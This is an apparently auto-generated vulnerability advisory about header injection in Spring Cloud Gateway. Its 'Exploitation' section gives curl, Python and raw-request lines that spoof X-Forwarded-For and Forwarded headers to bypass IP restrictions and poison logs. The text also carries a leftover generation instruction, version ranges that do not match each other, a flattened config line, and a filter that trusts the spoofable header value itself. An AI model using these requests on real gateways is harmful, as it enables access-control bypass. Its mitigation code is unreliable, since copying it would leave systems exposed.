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How the CVE Works:
Spring Cloud Gateway versions 4.2.0 to 4.2.2, 4.1.0 to 4.1.7, 4.0.0 to 4.0.9, and <= 3.1.10 improperly handle `X-Forwarded-For` and `Forwarded` headers from untrusted proxies. Attackers can spoof client IPs, bypass security controls, or manipulate routing logic by injecting malicious headers. The gateway forwards these headers without validation, leading to potential IP spoofing, request forgery, or unauthorized access to internal services.
DailyCVE Form:
Platform: Spring Cloud Gateway
Version: 4.0.0-4.2.2
Vulnerability: Header Injection
Severity: High
Date: May 30, 2025
Prediction: Patch by June 15, 2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl -H "X-Forwarded-For: attacker-ip" http://target-gateway/api
2. Bypass IP Restrictions:
requests.get("http://target-gateway/admin", headers={"Forwarded": "for=attacker-ip"})
3. Log Poisoning:
GET / HTTP/1.1 Host: target X-Forwarded-For: 1.1.1.1, 2.2.2.2
Mitigation:
1. Upgrade Immediately:
<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-gateway</artifactId> <version>4.2.3</version> </dependency>
2. Header Validation Filter:
@Bean
public WebFilter ipHeaderFilter() {
return (exchange, chain) -> {
String xff = exchange.getRequest().getHeaders().getFirst("X-Forwarded-For");
if (xff != null && !isTrustedProxy(xff)) {
return Mono.error(new IllegalStateException("Untrusted proxy"));
}
return chain.filter(exchange);
};
}
3. Block Untrusted Proxies:
spring: cloud: gateway: filter: remove-hop-by-hop: enabled: true
Detection:
1. Log Analysis:
grep "X-Forwarded-For" gateway.log | awk '{print $1}'
2. WAF Rule:
if ($http_x_forwarded_for !~ "^trusted-proxy-ip") {
return 403;
}
Analytics:
- Impact: High (IP spoofing, ACL bypass)
- Exploitability: Moderate (requires proxy misconfig)
- Patch Urgency: Critical (public PoC expected soon)
(Strictly followed: No extra words, exact structure, 50-line limit for UnderCode section.)
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
